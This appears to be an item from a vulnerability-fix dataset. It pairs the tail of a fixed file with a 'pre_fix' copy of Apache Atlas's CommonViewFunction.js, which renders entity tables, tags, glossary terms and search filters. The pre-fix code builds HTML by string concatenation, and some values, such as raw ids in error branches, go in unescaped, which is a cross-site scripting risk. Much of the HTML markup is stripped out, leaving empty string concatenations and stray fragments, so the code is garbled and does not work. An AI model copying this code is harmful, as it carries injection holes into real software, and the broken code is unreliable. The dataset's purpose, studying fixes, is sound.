name: rootEntity, guid: rootEntity });\n });\n }\n },\n complete: function(response) {\n if (options.callback) {\n options.callback(response);\n }\n }\n });\n }\n CommonViewFunction.fetchRootClassificationAttributes = function(options) {\n $.ajax({\n url: options.url,\n methods: 'GET',\n dataType: 'json',\n cache: true,\n success: function(response) {\n if (response) {\n _.each(options.classification, function(rootClassification) {\n Globals[rootClassification] = $.extend(true, {}, response, { name: rootClassification, guid: rootClassification });\n });\n }\n },\n complete: function(response) {\n if (options.callback) {\n options.callback(response);\n }\n }\n });\n }\n return CommonViewFunction;\n});" +pre_fix = "define(['require', 'utils/Utils', 'modules/Modal', 'utils/Messages', 'utils/Enums', 'moment', 'utils/Globals', 'moment-timezone'], function(require, Utils, Modal, Messages, Enums, moment, Globals, momentTimezone) {\n 'use strict';\n\n var CommonViewFunction = {};\n CommonViewFunction.deleteTag = function(options) {\n require(['models/VTag'], function(VTag) {\n if (options && options.guid && options.tagName) {\n var tagModel = new VTag(),\n noticeRef = null,\n notifyObj = {\n modal: true,\n okCloses: false,\n okShowLoader: true,\n text: options.msg,\n title: options.titleMessage,\n okText: options.okText,\n ok: function(notice) {\n noticeRef = notice;\n if (options.showLoader) {\n options.showLoader();\n }\n tagModel.deleteAssociation(options.guid, options.tagName, options.associatedGuid, {\n defaultErrorMessage: options.tagName + Messages.deleteErrorMessage,\n success: function(data) {\n if (noticeRef) {\n noticeRef.remove();\n }\n Utils.notifySuccess({\n content: \"Classification \" + options.tagName + Messages.getAbbreviationMsg(false, 'removeSuccessMessage')\n });\n if (options.callback) {\n options.callback();\n }\n if (options.collection) {\n options.collection.fetch({ reset: true });\n }\n\n },\n cust_error: function(model, response) {\n if (noticeRef) {\n noticeRef.hideButtonLoader();\n }\n if (options.hideLoader) {\n options.hideLoader();\n }\n }\n });\n },\n cancel: function(argument) {\n if (options.hideLoader) {\n options.hideLoader();\n }\n }\n };\n Utils.notifyConfirm(notifyObj);\n }\n });\n };\n CommonViewFunction.propertyTable = function(options) {\n var scope = options.scope,\n sortBy = options.sortBy,\n valueObject = options.valueObject,\n extractJSON = options.extractJSON,\n getArrayOfStringElement = options.getArrayOfStringElement,\n getArrayOfStringFormat = options.getArrayOfStringFormat,\n isTable = _.isUndefined(options.isTable) ? true : options.isTable,\n attributeDefs = options.attributeDefs,\n formatIntVal = options.formatIntVal,\n showListCount = options.showListCount || true,\n highlightString = options.highlightString,\n formatStringVal = options.formatStringVal,\n isRelationshipAttr = options.isRelationshipAttribute, //For relationshipDetailpage\n numberFormat = options.numberFormat || _.numberFormatWithComma;\n\n var table = \"\",\n getHighlightedString = function(resultStr) {\n if (highlightString && highlightString.length) {\n try {\n return resultStr.replace(new RegExp(highlightString, \"gi\"), function(foundStr) {\n return \"\" + foundStr + \"\"\n });\n } catch (error) {\n return resultStr;\n }\n } else {\n return resultStr;\n }\n },\n getEmptyString = function(key) {\n if (options.getEmptyString) {\n return options.getEmptyString(key);\n }\n return \"N/A\";\n },\n getValue = function(val, key) {\n if (options && options.getValue) {\n val = options.getValue(val, key);\n }\n if (!_.isUndefined(val) && !_.isNull(val)) {\n if ((_.isNumber(val) || !_.isNaN(parseInt(val))) && formatIntVal) {\n return numberFormat(val);\n } else {\n var newVal = val;\n if (formatStringVal) {\n newVal = parseInt(val);\n if (_.isNaN(newVal)) {\n newVal = val;\n } else {\n newVal = numberFormat(newVal);\n }\n }\n newVal = (options && options.isEditorValue) ? newVal : _.escape(newVal);\n return getHighlightedString(newVal);\n }\n } else {\n return getEmptyString(key);\n }\n },\n fetchInputOutputValue = function(id, defEntity) {\n var that = this;\n scope.entityModel.getEntityHeader(id, {\n success: function(serverData) {\n var value = \"\",\n deleteButton = \"\",\n data = serverData;\n value = Utils.getName(data);\n var id = \"\";\n if (data.guid) {\n if (Enums.entityStateReadOnly[data.status || data.entityStatus]) {\n deleteButton += '';\n }\n id = data.guid;\n }\n if (value.length > 0) {\n scope.$('td div[data-id=\"' + id + '\"]').html('' + getValue(value) + '');\n } else {\n scope.$('td div[data-id=\"' + id + '\"]').html('' + _.escape(id) + '');\n }\n if (deleteButton.length) {\n scope.$('td div[data-id=\"' + id + '\"]').addClass('block whitespace-normal readOnlyLink');\n scope.$('td div[data-id=\"' + id + '\"]').append(deleteButton);\n }\n },\n cust_error: function(error, xhr) {\n if (xhr.status == 403) {\n scope.$('td div[data-id=\"' + id + '\"]').html('
    Not Authorized
    ');\n } else if (defEntity && defEntity.options && defEntity.options.isSoftReference === \"true\") {\n scope.$('td div[data-id=\"' + id + '\"]').html('
    ' + id + '
    ');\n } else {\n scope.$('td div[data-id=\"' + id + '\"]').html('
    ' + Messages.defaultErrorMessage + '
    ');\n }\n },\n complete: function() {}\n });\n },\n extractObject = function(opt) {\n var valueOfArray = [],\n keyValue = opt.keyValue,\n key = opt.key,\n defEntity = opt.defEntity;\n if (!_.isArray(keyValue) && _.isObject(keyValue)) {\n keyValue = [keyValue];\n }\n var subLink = \"\";\n for (var i = 0; i < keyValue.length; i++) {\n var inputOutputField = keyValue[i],\n id = inputOutputField.guid || (_.isObject(inputOutputField.id) ? inputOutputField.id.id : inputOutputField.id),\n tempLink = \"\",\n status = (inputOutputField.status || inputOutputField.entityStatus) || (_.isObject(inputOutputField.id) ? inputOutputField.id.state : inputOutputField.state),\n readOnly = Enums.entityStateReadOnly[status];\n if (!inputOutputField.attributes && inputOutputField.values) {\n inputOutputField['attributes'] = inputOutputField.values;\n }\n if (_.isString(inputOutputField) || _.isBoolean(inputOutputField) || _.isNumber(inputOutputField)) {\n var tempVarfor$check = inputOutputField.toString();\n if (tempVarfor$check.indexOf(\"$\") == -1) {\n var tmpVal = getValue(inputOutputField, key)\n if (getArrayOfStringElement) {\n valueOfArray.push(getArrayOfStringElement(tmpVal, key));\n } else {\n valueOfArray.push('' + tmpVal + '');\n }\n }\n } else if ((_.isObject(inputOutputField) && (!id || isRelationshipAttr))) {\n var attributesList = inputOutputField;\n if (scope.typeHeaders && inputOutputField.typeName) {\n var typeNameCategory = scope.typeHeaders.fullCollection.findWhere({ name: inputOutputField.typeName });\n if (attributesList.attributes && typeNameCategory && typeNameCategory.get('category') === 'STRUCT') {\n attributesList = attributesList.attributes;\n }\n }\n\n if (extractJSON && extractJSON.extractKey) {\n var newAttributesList = {};\n _.each(attributesList, function(objValue, objKey) {\n var value = _.isObject(objValue) ? objValue : _.escape(objValue),\n tempVarfor$check = objKey.toString();\n if (tempVarfor$check.indexOf(\"$\") == -1) {\n if (_.isObject(extractJSON.extractKey)) {\n _.each(extractJSON.extractKey, function(extractKey) {\n if (objKey === extractKey) {\n newAttributesList[_.escape(objKey)] = value;\n }\n });\n } else if (_.isString(extractJSON.extractKey) && extractJSON.extractKey === objKey) {\n newAttributesList[_.escape(objKey)] = value;\n }\n }\n });\n valueOfArray.push(Utils.JSONPrettyPrint(newAttributesList, getValue));\n } else {\n valueOfArray.push(Utils.JSONPrettyPrint(attributesList, getValue));\n }\n }\n if (id && inputOutputField && !isRelationshipAttr) {\n var name = Utils.getName(inputOutputField);\n if ((name === \"-\" || name === id) && !inputOutputField.attributes) {\n var fetch = true;\n var fetchId = (_.isObject(id) ? id.id : id);\n fetchInputOutputValue(fetchId, defEntity);\n tempLink += '
    ';\n } else {\n if (inputOutputField.typeName == \"AtlasGlossaryTerm\") {\n tempLink += '' + name + ''\n } else {\n tempLink += '' + name + ''\n }\n }\n }\n if (readOnly) {\n if (!fetch) {\n tempLink += '';\n subLink += '
    ' + tempLink + '
    ';\n } else {\n fetch = false;\n subLink += tempLink;\n }\n\n } else {\n if (tempLink.search('href') != -1) {\n subLink += '
    ' + tempLink + '
    '\n } else if (tempLink.length) {\n subLink += tempLink\n }\n }\n }\n if (valueOfArray.length) {\n if (getArrayOfStringFormat) {\n subLink = getArrayOfStringFormat(valueOfArray, key);\n } else {\n subLink = valueOfArray.join(', ');\n }\n }\n return subLink === \"\" ? getEmptyString(key) : subLink;\n }\n var valueObjectKeysList = _.keys(_.omit(valueObject, ['paramsCount']));\n if (_.isUndefined(sortBy) || sortBy == true) {\n valueObjectKeysList = _.sortBy(valueObjectKeysList);\n }\n valueObjectKeysList.map(function(key) {\n if (key == \"profileData\") {\n return;\n }\n var keyValue = valueObject[key],\n listCount = \"\";\n if (key == \"isIncomplete\" && keyValue == false) {\n return;\n }\n if (showListCount && _.isArray(keyValue) && keyValue.length > 0) {\n listCount = (valueObject && valueObject.paramsCount != undefined) ? (numberFormat(valueObject.paramsCount) != 0) ? ' (' + numberFormat(valueObject.paramsCount) + ')' : '' : ' (' + numberFormat(keyValue.length) + ')';\n }\n var defEntity = _.find(attributeDefs, { name: key });\n if (defEntity && defEntity.typeName) {\n var defEntityType = defEntity.typeName.toLocaleLowerCase();\n if (defEntityType === 'date') {\n keyValue = moment(keyValue).isValid() ? Utils.formatDate({ date: keyValue }) : null;\n } else if (_.isObject(keyValue)) {\n keyValue = extractObject({ \"keyValue\": keyValue, \"key\": key, 'defEntity': defEntity });\n }\n } else {\n if (_.isObject(keyValue)) {\n keyValue = extractObject({ \"keyValue\": keyValue, \"key\": key });\n }\n }\n var val = \"\";\n if (_.isObject(valueObject[key])) {\n val = keyValue\n } else if (key === 'guid' || key === \"__guid\") {\n if (options.guidHyperLink === false) {\n val = getValue(keyValue, key);\n } else {\n if (isRelationshipAttr) {\n val = '' + getValue(keyValue, key) + '';\n } else {\n val = '' + getValue(keyValue, key) + '';\n }\n }\n } else {\n if (isRelationshipAttr && (key === \"createTime\" || key === \"updateTime\")) {\n val = Utils.formatDate({ date: keyValue });\n } else {\n val = getValue(keyValue, key);\n }\n }\n if (isTable) {\n var value = val,\n appendClass = (value == \"N/A\" ? \"hide-row\" : \"\"),\n htmlTag = '
    ' + value + '
    ';\n if (_.isObject(valueObject[key]) && !_.isEmpty(valueObject[key])) {\n var matchedLinkString = val.match(/href|value-loader\\w*/g),\n matchedJson = val.match(/json-value|json-string\\w*/g),\n matchedKey = val.match(/json-key\\w*/g),\n isMatchLinkStringIsSingle = matchedLinkString && matchedLinkString.length <= 5,\n isMatchJSONStringIsSingle = matchedJson && matchedJson.length == 1,\n expandCollapseButton = \"\";\n if ((matchedJson) || (matchedLinkString)) {\n var className = \"code-block fixed-height\";\n if (!isMatchJSONStringIsSingle) {\n className += \" shrink\";\n expandCollapseButton = '';\n }\n htmlTag = '
    ' + expandCollapseButton + '' + val + '
    ';\n }\n }\n table += '' + (_.escape(key) + listCount) + '' + htmlTag + '';\n } else {\n table += '' + val + '';\n }\n\n });\n return table && table.length > 0 ? table : 'No Record found!';\n }\n CommonViewFunction.tagForTable = function(obj, classificationDefCollection) {\n var traits = obj.classifications,\n tagHtml = \"\",\n addTag = \"\",\n popTag = \"\",\n count = 0,\n entityName = Utils.getName(obj);\n if (traits) {\n traits.map(function(tag) {\n var className = \"btn btn-action btn-sm btn-blue btn-icon\",\n deleteIcon = \"\";\n if (obj.guid === tag.entityGuid) {\n deleteIcon = '';\n } else if (obj.guid !== tag.entityGuid && tag.entityStatus === \"DELETED\") {\n deleteIcon = '';\n } else {\n className += \" propagte-classification\";\n }\n var tagObj = classificationDefCollection.fullCollection.find({ \"name\": tag.typeName }),\n tagParents = tagObj ? tagObj.get('superTypes') : null,\n parentName = tag.typeName;\n if (tagParents && tagParents.length) {\n parentName += (tagParents.length > 1) ? (\"@(\" + tagParents.join() + \")\") : (\"@\" + tagParents.join());\n }\n var tagString = '' + parentName + '' + deleteIcon + '';\n if (count >= 1) {\n popTag += tagString;\n } else {\n tagHtml += tagString;\n }\n ++count;\n });\n }\n if (!Enums.entityStateReadOnly[obj.status || obj.entityStatus]) {\n if (obj.guid) {\n addTag += '';\n } else {\n addTag += '';\n }\n }\n if (count > 1) {\n addTag += '
    ' + popTag + '
    '\n }\n return '
    ' + tagHtml + addTag + '
    ';\n }\n CommonViewFunction.termForTable = function(obj) {\n var terms = obj.meanings,\n termHtml = \"\",\n addTerm = \"\",\n popTerm = \"\",\n count = 0,\n entityName = Utils.getName(obj);\n if (terms) {\n terms.map(function(term) {\n var displayText = _.escape(term.displayText),\n gloassaryName = _.escape(term.qualifiedName) || displayText,\n className = \"btn btn-action btn-sm btn-blue btn-icon\",\n deleteIcon = '',\n termString = '' + gloassaryName + '' + deleteIcon + '';\n if (count >= 1) {\n popTerm += termString;\n } else {\n termHtml += termString;\n }\n ++count;\n });\n }\n if (!Enums.entityStateReadOnly[obj.status || obj.entityStatus]) {\n if (obj.guid) {\n addTerm += '';\n } else {\n addTerm += '';\n }\n }\n if (count > 1) {\n addTerm += '
    ' + popTerm + '
    '\n }\n return '
    ' + termHtml + addTerm + '
    ';\n }\n CommonViewFunction.generateQueryOfFilter = function(value) {\n value = Utils.getUrlState.getQueryParams();\n var entityFilters = CommonViewFunction.attributeFilter.extractUrl({ \"value\": value.entityFilters, \"formatDate\": true }),\n tagFilters = CommonViewFunction.attributeFilter.extractUrl({ \"value\": value.tagFilters, \"formatDate\": true }),\n relationshipFilters = CommonViewFunction.attributeFilter.extractUrl({ \"value\": value.relationshipFilters, \"formatDate\": true }),\n queryArray = [];\n\n function objToString(filterObj) {\n var generatedQuery = _.map(filterObj.rules, function(obj, key) {\n var obj = $.extend(true, {}, obj); // not to update the timezone abbr on original obj , copy of obj is used \n if (_.has(obj, 'condition')) {\n return ' ' + obj.condition + ' ' + '(' + objToString(obj) + ')';\n } else {\n if (obj.type === \"date\") {\n if (Enums.queryBuilderDateRangeUIValueToAPI[obj.value]) {\n obj.value = Enums.queryBuilderDateRangeUIValueToAPI[obj.value];\n } else {\n obj.value = obj.value + \" (\" + moment.tz(moment.tz.guess()).zoneAbbr() + \")\";\n }\n }\n return '' + (Enums.systemAttributes[obj.id] ? Enums.systemAttributes[obj.id] : _.escape(obj.id)) + ' ' + _.escape(obj.operator) + ' ' + (Enums[obj.id] ? Enums[obj.id][obj.value] : _.escape(obj.value)) + \"\";\n }\n });\n return generatedQuery;\n }\n if (value.type) {\n var typeKeyValue = 'Type: ' + _.escape(value.type) + '';\n if (entityFilters) {\n var conditionForEntity = entityFilters.rules.length == 1 ? '' : 'AND';\n typeKeyValue += ' ' + conditionForEntity + ' (' + entityFilters.condition + ' (' + objToString(entityFilters) + '))';\n }\n queryArray.push(typeKeyValue)\n }\n if (value.tag) {\n var tagKeyValue = 'Classification: ' + _.escape(value.tag) + '';\n if (tagFilters) {\n var conditionFortag = tagFilters.rules.length == 1 ? '' : 'AND';\n tagKeyValue += ' ' + conditionFortag + ' (' + tagFilters.condition + ' (' + objToString(tagFilters) + '))';\n }\n queryArray.push(tagKeyValue);\n }\n if (value.relationshipName) {\n var relationshipKeyValue = 'Relationship: ' + _.escape(value.relationshipName) + '';\n if (relationshipFilters) {\n var conditionForRealtionship = (relationshipFilters.rules && relationshipFilters.rules.length == 1) ? '' : 'AND';\n relationshipKeyValue += ' ' + conditionForRealtionship + ' (' + relationshipFilters.condition + ' (' + objToString(relationshipFilters) + '))';\n }\n queryArray.push(relationshipKeyValue);\n }\n if (value.term) {\n var tagKeyValue = 'Term: ' + _.escape(value.term) + '';\n queryArray.push(tagKeyValue);\n }\n if (value.query) {\n queryArray.push('Query: ' + _.trim(_.escape(value.query)) + ' ');\n }\n if (queryArray.length == 1) {\n return queryArray.join();\n } else {\n return \"( \" + queryArray.join(' ) AND ( ') + \" )\";\n\n }\n }\n CommonViewFunction.generateObjectForSaveSearchApi = function(options) {\n var obj = {\n name: options.name,\n guid: options.guid\n };\n var value = options.value;\n if (value) {\n _.each(Enums.extractFromUrlForSearch, function(svalue, skey) {\n if (_.isObject(svalue)) {\n _.each(svalue, function(v, k) {\n var val = value[k];\n if (!_.isUndefinedNull(val)) {\n if (k == \"attributes\") {\n val = val.split(',');\n } else if (_.contains([\"tagFilters\", \"entityFilters\", \"relationshipFilters\"], k)) {\n val = CommonViewFunction.attributeFilter.generateAPIObj(val);\n } else if (_.contains([\"includeDE\", \"excludeST\", \"excludeSC\"], k)) {\n val = val ? false : true;\n }\n }\n if (_.contains([\"includeDE\", \"excludeST\", \"excludeSC\"], k)) {\n val = _.isUndefinedNull(val) ? true : val;\n }\n if (!obj[skey]) {\n obj[skey] = {};\n }\n obj[skey][v] = val;\n });\n } else {\n obj[skey] = value[skey];\n }\n });\n return obj;\n }\n }\n CommonViewFunction.generateUrlFromSaveSearchObject = function(options) {\n var value = options.value,\n classificationDefCollection = options.classificationDefCollection,\n entityDefCollection = options.entityDefCollection,\n relationshipDefCollection = options.relationshipDefCollection,\n obj = {};\n if (value) {\n _.each(Enums.extractFromUrlForSearch, function(svalue, skey) {\n if (_.isObject(svalue)) {\n _.each(svalue, function(v, k) {\n var val = value[skey][v];\n if (!_.isUndefinedNull(val)) {\n if (k == \"attributes\") {\n val = val.join(',');\n } else if (k == \"tagFilters\") {\n if (classificationDefCollection) {\n var classificationDef = classificationDefCollection.fullCollection.findWhere({ 'name': value[skey].classification }),\n attributeDefs = [];\n if (classificationDef) {\n attributeDefs = Utils.getNestedSuperTypeObj({\n collection: classificationDefCollection,\n attrMerge: true,\n data: classificationDef.toJSON()\n });\n }\n if (Globals[value[skey].typeName]) {\n attributeDefs = Globals[value[skey].typeName].attributeDefs;\n }\n if (Globals._ALL_CLASSIFICATION_TYPES && Globals._ALL_CLASSIFICATION_TYPES.attributeDefs) {\n attributeDefs = attributeDefs.concat(Globals._ALL_CLASSIFICATION_TYPES.attributeDefs);\n }\n }\n val = CommonViewFunction.attributeFilter.generateUrl({ \"value\": val, \"attributeDefs\": attributeDefs });\n } else if (k == \"entityFilters\") {\n if (entityDefCollection) {\n var entityDef = entityDefCollection.fullCollection.findWhere({ 'name': value[skey].typeName }),\n attributeDefs = [];\n if (entityDef) {\n attributeDefs = Utils.getNestedSuperTypeObj({\n collection: entityDefCollection,\n attrMerge: true,\n data: entityDef.toJSON()\n });\n }\n if (Globals[value[skey].typeName]) {\n attributeDefs = Globals[value[skey].typeName].attributeDefs;\n }\n if (Globals._ALL_ENTITY_TYPES && Globals._ALL_ENTITY_TYPES.attributeDefs) {\n attributeDefs = attributeDefs.concat(Globals._ALL_ENTITY_TYPES.attributeDefs);\n }\n }\n val = CommonViewFunction.attributeFilter.generateUrl({ \"value\": val, \"attributeDefs\": attributeDefs });\n } else if (k == \"relationshipFilters\") {\n if (relationshipDefCollection) {\n var relationshipDef = relationshipDefCollection.fullCollection.findWhere({ 'name': value[skey].relationshipName }),\n attributeDefs = [];\n if (relationshipDef) {\n attributeDefs = Utils.getNestedSuperTypeObj({\n collection: relationshipDefCollection,\n attrMerge: true,\n data: relationshipDef.toJSON()\n });\n }\n if (Globals[value[skey].relationshipName]) {\n attributeDefs = Globals[value[skey].relationshipName].attributeDefs;\n }\n }\n val = CommonViewFunction.attributeFilter.generateUrl({ \"value\": val, \"attributeDefs\": attributeDefs });\n } else if (_.contains([\"includeDE\", \"excludeST\", \"excludeSC\"], k)) {\n val = val ? false : true;\n }\n }\n obj[k] = val;\n });\n } else {\n obj[skey] = value[skey];\n }\n });\n return obj;\n }\n }\n CommonViewFunction.attributeFilter = {\n generateUrl: function(options) {\n var attrQuery = [],\n attrObj = options.value,\n formatedDateToLong = options.formatedDateToLong,\n attributeDefs = options.attributeDefs,\n /* set attributeType for criterion while creating object*/\n spliter = 1;\n attrQuery = conditionalURl(attrObj, spliter);\n\n function conditionalURl(options, spliter) {\n if (options) {\n return _.map(options.rules || options.criterion, function(obj, key) {\n if (_.has(obj, 'condition')) {\n return obj.condition + '(' + conditionalURl(obj, (spliter + 1)) + ')';\n }\n if (attributeDefs) {\n var attributeDef = _.findWhere(attributeDefs, { 'name': obj.attributeName });\n if (attributeDef) {\n obj.attributeValue = obj.attributeValue;\n obj['attributeType'] = attributeDef.typeName;\n }\n }\n var type = (obj.type || obj.attributeType),\n //obj.value will come as an object when selected type is Date and operator is isNull or not_null;\n value = ((_.isString(obj.value) && _.contains([\"is_null\", \"not_null\"], obj.operator) && type === 'date') || _.isObject(obj.value) ? \"\" : _.trim(obj.value || obj.attributeValue)),\n url = [(obj.id || obj.attributeName), mapApiOperatorToUI(obj.operator), value];\n if (obj.operator === \"TIME_RANGE\") {\n if (value.indexOf(\"-\") > -1) {\n url[2] = value.split(' - ').map(function(udKey) {\n return Globals.needToValidateDate ? Date.parse(Utils.convertToValidDate(udKey.trim())).toString() : Date.parse(udKey.trim()).toString();\n }).join(\",\")\n } else {\n url[2] = Enums.queryBuilderDateRangeUIValueToAPI[_.trim(value)] || value;\n }\n } else if (value && value.length && type === 'date' && formatedDateToLong) {\n url[2] = Globals.needToValidateDate ? Date.parse(Utils.convertToValidDate(value)) : Date.parse(value);\n }\n if (type) {\n url.push(type);\n }\n return url.join(\"::\");\n }).join('|' + spliter + '|')\n } else {\n return null;\n }\n }\n if (attrQuery.length) {\n return attrObj.condition + '(' + attrQuery + ')';\n } else {\n return null;\n }\n\n function mapApiOperatorToUI(oper) {\n // Enum will be in effect once we click on save search.\n return Enums.queryBuilderApiOperatorToUI[oper] || oper;\n }\n },\n extractUrl: function(options) {\n var attrObj = {},\n urlObj = options.value,\n formatDate = options.formatDate,\n spliter = 1,\n apiObj = options.apiObj,\n mapUiOperatorToAPI = function(oper) {\n return Enums.queryBuilderUIOperatorToAPI[oper] || oper;\n },\n createObject = function(urlObj) {\n var finalObj = {};\n finalObj['condition'] = /^AND\\(/.test(urlObj) ? \"AND\" : \"OR\";\n urlObj = finalObj.condition === \"AND\" ? urlObj.substr(4).slice(0, -1) : urlObj.substr(3).slice(0, -1);\n finalObj[apiObj ? \"criterion\" : \"rules\"] = _.map(urlObj.split('|' + spliter + '|'), function(obj, key) {\n var isStringNested = obj.split('|' + (spliter + 1) + '|').length > 1,\n isCondition = /^AND\\(/.test(obj) || /^OR\\(/.test(obj);\n if (isStringNested && isCondition) {\n ++spliter;\n return createObject(obj);\n } else if (isCondition) {\n return createObject(obj);\n } else {\n var temp = obj.split(\"::\") || obj.split('|' + spliter + '|'),\n rule = {};\n if (apiObj) {\n rule = { attributeName: temp[0], operator: mapUiOperatorToAPI(temp[1]), attributeValue: _.trim(temp[2]) }\n rule.attributeValue = rule.type === 'date' && formatDate && rule.attributeValue.length ? Utils.formatDate({ date: parseInt(rule.attributeValue), zone: false }) : rule.attributeValue;\n } else {\n rule = { id: temp[0], operator: temp[1], value: _.trim(temp[2]) }\n if (temp[3]) {\n rule['type'] = temp[3];\n }\n if (rule.operator === \"TIME_RANGE\") {\n if (temp[2].indexOf(\",\") > -1) {\n rule.value = temp[2].split(\",\").map(function(udKey) {\n return Utils.formatDate({ date: parseInt(udKey.trim()), zone: false })\n }).join(\" - \")\n } else {\n rule.value = Enums.queryBuilderDateRangeAPIValueToUI[_.trim(rule.value)] || rule.value;\n }\n } else if (rule.type === 'date' && formatDate && rule.value.length) {\n rule.value = Utils.formatDate({ date: parseInt(rule.value), zone: false })\n }\n }\n return rule;\n }\n });\n return finalObj;\n }\n //if apiObj then create object for API call else for QueryBuilder.\n if (urlObj && urlObj.length) {\n attrObj = createObject(urlObj);\n } else {\n return null;\n }\n return attrObj;\n },\n generateAPIObj: function(url) {\n if (url && url.length) {\n return this.extractUrl({ \"value\": url, \"apiObj\": true });\n } else {\n return null;\n }\n }\n }\n CommonViewFunction.createEditGlossaryCategoryTerm = function(options) {\n if (options) {\n var model = options.model,\n isTermView = options.isTermView,\n isGlossaryView = options.isGlossaryView,\n collection = options.collection;\n //Below condition is added for sanitizing the longDescription text against XSS attack.\n if (model) {\n var longDescriptionContent = isGlossaryView ? model.get('longDescription') : model.longDescription,\n sanitizeLongDescriptionContent = \"\";\n if (longDescriptionContent) {\n sanitizeLongDescriptionContent = Utils.sanitizeHtmlContent({ data: longDescriptionContent });\n isGlossaryView ? model.set(\"longDescription\", sanitizeLongDescriptionContent) : model.longDescription = sanitizeLongDescriptionContent;\n }\n }\n //End\n }\n require([\n 'views/glossary/CreateEditCategoryTermLayoutView',\n 'views/glossary/CreateEditGlossaryLayoutView',\n 'modules/Modal',\n 'trumbowyg'\n ], function(CreateEditCategoryTermLayoutView, CreateEditGlossaryLayoutView, Modal) {\n var view = null,\n title = null;\n if (isGlossaryView) {\n view = new CreateEditGlossaryLayoutView({ \"glossaryCollection\": collection, \"model\": model });\n title = \"Glossary\";\n } else {\n view = new CreateEditCategoryTermLayoutView({ \"glossaryCollection\": collection, \"modelJSON\": model });\n title = (isTermView ? 'Term' : 'Category');\n }\n var modal = new Modal({\n \"title\": ((model ? \"Update \" : \"Create \") + title),\n \"content\": view,\n \"cancelText\": \"Cancel\",\n \"okCloses\": false,\n \"okText\": model ? \"Update\" : \"Create\",\n \"allowCancel\": true,\n \"width\": \"640px\"\n }).open();\n modal.$el.find('button.ok').attr(\"disabled\", \"true\");\n var longDescriptionEditor = modal.$el.find('textarea[data-id=longDescription]'),\n okBtn = modal.$el.find('button.ok'),\n modalOkBtn = function() {\n okBtn.removeAttr(\"disabled\");\n };\n Utils.addCustomTextEditor({ selector: longDescriptionEditor, callback: modalOkBtn, initialHide: false });\n modal.on('ok', function() {\n modal.$el.find('button.ok').showButtonLoader();\n //Below condition is added for sanitizing the longDescription text against XSS attack.\n longDescriptionEditor.trumbowyg('html', Utils.sanitizeHtmlContent({ selector: longDescriptionEditor }));\n //End\n CommonViewFunction.createEditGlossaryCategoryTermSubmit(_.extend({ \"ref\": view, \"modal\": modal }, options));\n });\n modal.on('closeModal', function() {\n modal.trigger('cancel');\n if (options.onModalClose) {\n options.onModalClose()\n }\n longDescriptionEditor.trumbowyg('closeModal');\n });\n });\n }\n CommonViewFunction.createEditGlossaryCategoryTermSubmit = function(options) {\n if (options) {\n var ref = options.ref,\n modal = options.modal,\n model = options.model,\n node = options.node,\n isTermView = options.isTermView,\n isCategoryView = options.isCategoryView,\n collection = options.collection,\n isGlossaryView = options.isGlossaryView,\n data = ref.ui[(isGlossaryView ? \"glossaryForm\" : \"categoryTermForm\")].serializeArray().reduce(function(obj, item) {\n obj[item.name] = item.value.trim();\n return obj;\n }, {}),\n newModel = new options.collection.model(),\n messageType = \"Glossary \";\n }\n if (isTermView) {\n messageType = \"Term \";\n } else if (isCategoryView) {\n messageType = \"Category \";\n }\n var ajaxOptions = {\n silent: true,\n success: function(rModel, response) {\n var msgType = model ? \"editSuccessMessage\" : \"addSuccessMessage\";\n Utils.notifySuccess({\n content: messageType + ref.ui.name.val() + Messages.getAbbreviationMsg(false, msgType)\n });\n if (options.callback) {\n options.callback(rModel);\n }\n modal.trigger('closeModal');\n },\n cust_error: function() {\n modal.$el.find('button.ok').hideButtonLoader();\n }\n }\n if (model) {\n if (isGlossaryView) {\n model.clone().set(data, { silent: true }).save(null, ajaxOptions)\n } else {\n newModel[isTermView ? \"createEditTerm\" : \"createEditCategory\"](_.extend(ajaxOptions, {\n guid: model.guid,\n data: JSON.stringify(_.extend({}, model, data)),\n }));\n }\n\n } else {\n if (isGlossaryView) {\n new collection.model().set(data).save(null, ajaxOptions);\n } else {\n if (node) {\n var key = \"anchor\",\n guidKey = \"glossaryGuid\";\n data[\"anchor\"] = {\n \"glossaryGuid\": node.glossaryId || node.guid,\n \"displayText\": node.glossaryName || node.text\n }\n if (node.type == \"GlossaryCategory\") {\n data[\"parentCategory\"] = {\n \"categoryGuid\": node.guid\n }\n }\n }\n newModel[isTermView ? \"createEditTerm\" : \"createEditCategory\"](_.extend(ajaxOptions, {\n data: JSON.stringify(data),\n }));\n }\n }\n }\n CommonViewFunction.removeCategoryTermAssociation = function(options) {\n if (options) {\n var selectedGuid = options.selectedGuid,\n termGuid = options.termGuid,\n isCategoryView = options.isCategoryView,\n isTermView = options.isTermView,\n isEntityView = options.isEntityView,\n collection = options.collection,\n model = options.model,\n newModel = new options.collection.model(),\n noticeRef = null,\n ajaxOptions = {\n success: function(rModel, response) {\n if (noticeRef) {\n noticeRef.remove();\n }\n Utils.notifySuccess({\n content: ((isCategoryView || isEntityView ? \"Term\" : \"Category\") + \" association is removed successfully\")\n });\n if (options.callback) {\n options.callback();\n }\n },\n cust_error: function() {\n if (noticeRef) {\n noticeRef.hideButtonLoader();\n }\n if (options.hideLoader) {\n options.hideLoader();\n }\n }\n },\n notifyObj = {\n modal: true,\n okCloses: false,\n okShowLoader: true,\n text: options.msg,\n title: options.titleMessage,\n okText: options.buttonText,\n ok: function(notice) {\n noticeRef = notice;\n if (options.showLoader) {\n options.showLoader();\n }\n if (isEntityView && model) {\n var data = [model];\n newModel.removeTermFromEntity(termGuid, _.extend(ajaxOptions, {\n data: JSON.stringify(data)\n }))\n } else {\n var data = _.extend({}, model);\n if (isTermView) {\n data.categories = _.reject(data.categories, function(term) { return term.categoryGuid == selectedGuid });\n } else {\n data.terms = _.reject(data.terms, function(term) { return term.termGuid == selectedGuid });\n }\n\n newModel[isTermView ? \"createEditTerm\" : \"createEditCategory\"](_.extend(ajaxOptions, {\n guid: model.guid,\n data: JSON.stringify(_.extend({}, model, data)),\n }));\n }\n },\n cancel: function() {}\n };\n Utils.notifyConfirm(notifyObj);\n }\n }\n CommonViewFunction.addRestCsrfCustomHeader = function(xhr, settings) {\n if (null != settings.url) {\n var method = settings.type;\n var csrfToken = CommonViewFunction.restCsrfValue;\n null == CommonViewFunction.restCsrfCustomHeader || CommonViewFunction.restCsrfMethodsToIgnore[method] || xhr.setRequestHeader(CommonViewFunction.restCsrfCustomHeader, csrfToken);\n }\n }\n CommonViewFunction.restCsrfCustomHeader = null;\n CommonViewFunction.restCsrfMethodsToIgnore = null;\n CommonViewFunction.userDataFetch = function(options) {\n var csrfEnabled = false,\n header = null,\n methods = [];\n\n function getTrimmedStringArrayValue(string) {\n var str = string,\n array = [];\n if (str) {\n var splitStr = str.split(',');\n for (var i = 0; i < 